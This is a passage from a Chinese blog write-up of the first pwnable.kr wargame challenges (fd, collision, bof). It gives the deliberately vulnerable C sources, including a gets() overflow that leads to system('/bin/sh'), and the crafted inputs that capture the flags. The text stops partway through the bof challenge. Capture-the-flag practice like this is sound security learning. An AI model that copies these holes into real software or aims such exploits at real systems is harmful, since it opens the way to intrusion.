pwnable.kr入门篇

先来无事做做wargame,首先选了好看的pwnable.kr,现记录笔记。未完待续

网站介绍

there are flag files corresponding to each challenges (similar to CTF), you need to read it and submit to pwnable.kr to get the corresponding point. in order to read the flag file, you need some skills regarding programming, reverse-engineering, bug exploitation, system knowledge, cryptography. each challenges have author’s intended solution, however, there are a lot of unintended solutions as well :) the challenges are divided into four categories.

[Toddler’s Bottle] - very easy challenges with simple mistakes.

[Rookiss] - typical bug exploitation challenges for rookies.

[Grotesque] - these challenges are grotesque-y. painful to solve it, but very tasty flag :)

[Hacker’s Secret] - intended solution for these challenges involves special techniques.

可以看到题目分为四级,第一级是入门篇,适合没有任何基础的童鞋,作者甚至在YouTube上录制了第一级1-10关的解题视频,第二级是典型的漏洞利用题,作者不希望将这一级及更高级别的答案发布出来,而是希望解题者自己去寻找答案。

现在来看看解题页:

十分可爱,不过我更喜欢第二级的(有更多妹纸):

打开一道题目,有的是直接使用ssh登录获取会话,有的是下载bin文件分析后写exp,有的是直接用nc连接:

fd

第一题,打开题目描述,里面提供了ssh连接命令和密码:

于是使用xshell连接,不用保存密钥,登录密码为guest:

连接成功后,看到当前目录有三个文件

1
2
3
4
5
6
7
fd@ubuntu:~$ ls -l
total 16
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
fd@ubuntu:~$ id
uid=1004(fd) gid=1004(fd) groups=1004(fd)

flag文件属主为fd_pwn,属于root组,只有组成员与属主可以读但是当前用户为fd,用户属于fd组,那么很明显是没有权限读取这个文件的,但是观察发现fd这个文件是fd组可执行的,而它的属主是fd_pwn且此文件有s权限,那么fd文件是可以访问flag文件的,又看看fd.c文件,它是所有人可读的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){//要有一个参数
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;//把输入的参数转化为数字后减去0x1234赋给fd
int len = 0;
len = read(fd, buf, 32); //fd为文件句柄,从里面读取数据到buf
if(!strcmp("LETMEWIN\n", buf)){//buf与"LETMEWIN"比较,相同得到flag
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}

如分析,因为Linux默认会开三个文件描述符0 1 2作为标准输入标准输出和标准错误输出,那么这里把它改为0就可以从键盘输入这个值了:

1
2
3
4
5
6
fd@ubuntu:~$ python -c "print 0x1234"
4660
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I kn...................

collision

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;//转换方式为字符型变整型后累加
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){//接一个参数
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){//参数长度为20
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){//将参数转换后与hashcode比较
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

如上,考察的就是小端序转换

1
2
3
4
5
6
7
8
>>> 0x21DD09EC%5
4
>>> 0x21DD09EC/5
113626824
>>> hex(113626824)
'0x6c5cec8'
>>> '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\06' #这里转换了字符序
'\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06'

于是:

1
2
col@ubuntu:~$ ./col $(python -c "print '\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06'")
daddy! I just ma..........

bof

Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?

下载两个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32]; //缓冲区32字节
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

由于